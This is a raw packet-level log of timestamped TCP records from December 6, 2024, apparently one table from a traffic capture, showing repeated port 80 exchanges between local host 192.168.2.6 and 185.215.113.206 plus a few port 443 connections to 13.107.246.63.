Dec 6, 2024 18:45:45.696089029 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.696125984 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.697110891 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.697155952 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.697438002 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.697473049 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.698152065 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.698214054 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.698543072 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.698586941 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.699209929 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.699251890 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.699280024 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.699337959 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.700346947 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.700391054 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.700459003 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.700510025 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.701390982 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.701431990 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.701617956 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.701662064 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.702445984 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.702547073 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.702549934 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.702591896 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.703527927 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.703618050 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.704615116 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.704627037 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.704665899 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.704689980 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.704935074 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.704992056 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.705694914 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.705765009 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.705823898 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.705862999 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.706826925 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.706844091 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.706880093 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.707835913 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.708467007 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.708508968 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.709011078 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.709043980 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.710002899 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.710015059 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.710043907 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.710077047 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.710125923 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.710282087 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.711028099 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.711070061 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.711270094 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.711347103 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.712138891 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.712214947 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.712826967 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.712937117 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.713205099 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.713365078 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.713597059 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.713633060 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.714287043 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.714329958 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.714689016 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.714731932 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.715344906 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.715388060 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.715488911 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.715861082 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.716417074 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.716502905 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.716665030 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.716701984 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.717506886 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.717570066 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.717643976 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.717737913 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.718652964 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.718687057 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.718713045 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.718730927 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.719621897 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.719681978 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.719860077 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.719913960 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.720832109 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.720999002 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.721404076 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.721445084 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.721826077 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.721838951 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.721875906 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.722865105 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.722922087 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.723082066 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.723126888 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.723943949 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.723987103 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.724060059 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.724095106 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.724999905 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.725048065 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.725220919 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.725269079 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.726052046 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.726106882 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.726300001 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.726341009 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.727181911 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.727236032 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.727436066 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.727484941 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.747503996 CET	443	49805	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:45.747575045 CET	443	49805	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:45.747641087 CET	49805	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:45.773174047 CET	49805	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:45.773190975 CET	443	49805	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:45.780610085 CET	49810	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:45.780666113 CET	443	49810	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:45.780733109 CET	49810	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:45.781074047 CET	49810	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:45.781083107 CET	443	49810	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:45.864103079 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.864165068 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.864340067 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.864386082 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.864669085 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.864717007 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.864888906 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.864943027 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.865328074 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.865379095 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.866195917 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.866285086 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.866442919 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.866456032 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.866483927 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.866496086 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.867604971 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.867618084 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.867654085 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.867669106 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.868530989 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.868597031 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.869148016 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.869328976 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.869669914 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.869682074 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.869724989 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.870712042 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.870764017 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.870839119 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.870872974 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.871776104 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.871820927 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.872251034 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.872298002 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.872813940 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.872888088 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.872975111 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.873018026 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.873894930 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.873944044 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.874281883 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.874680042 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.874957085 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.875022888 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.876056910 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.876070023 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.876081944 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.876104116 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.876140118 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.877120972 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.877177954 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.877254963 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.877440929 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.878236055 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.878248930 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.878285885 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.878315926 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.879358053 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.879431963 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.879437923 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.879549026 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.880347967 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.880417109 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.880647898 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.880692959 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.881407022 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.881453991 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.881536961 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.881577015 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.882476091 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.882536888 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.882704020 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.882781982 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.883554935 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.883599997 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.883640051 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.883748055 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.884649038 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.884696007 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.884788036 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.884828091 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.885696888 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.885776043 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.885869980 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.885947943 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.886826992 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.886992931 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.887522936 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.887574911 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.887921095 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.887967110 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.888942003 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.888956070 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.888978004 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.889024019 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.889051914 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.889987946 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.890029907 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.890225887 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.890264988 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.891105890 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.891151905 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.891330957 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.891372919 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.892175913 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.892237902 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.892570972 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.892631054 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.893245935 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.893371105 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.893384933 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.893421888 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.894325018 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.894397974 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.894434929 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.894479990 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.895364046 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.895418882 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.895489931 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.895526886 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.896419048 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.896466970 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.896574020 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.896684885 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.897506952 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.897542953 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.897721052 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.897778988 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.898575068 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.898633957 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.898914099 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.898961067 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.899676085 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.899725914 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.899800062 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.899852991 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.900715113 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.900777102 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.901077032 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.901149988 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.901842117 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.901909113 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.901911020 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.901948929 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.902924061 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.902981997 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.903054953 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.903215885 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.903943062 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.904011011 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.904932976 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.904989004 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.905071974 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.905086040 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.905109882 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.905133009 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.906105995 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.906167984 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.906305075 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.906351089 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.907197952 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.907290936 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.907335043 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.908282042 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.908370972 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.908412933 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.908452034 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.909321070 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.909370899 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.909687996 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.909729958 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.910372972 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.910429001 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.910639048 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.910691977 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.911474943 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.911523104 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.911753893 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.911798000 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.912585974 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.912632942 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.912833929 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.912897110 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.915014982 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.915034056 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.915046930 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.915060997 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.915080070 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.915092945 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.915126085 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.958138943 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.078768969 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.401787043 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.401863098 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.401879072 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.401921988 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.402266026 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.402729034 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.402750969 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.402785063 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.403115034 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.403167009 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.403211117 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.403327942 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.404305935 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.404326916 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.404361963 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.404377937 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.405271053 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.405503035 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.405570984 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.406292915 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.406362057 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.406527042 CET	80	49796	185.215.113.206	192.168.2.6
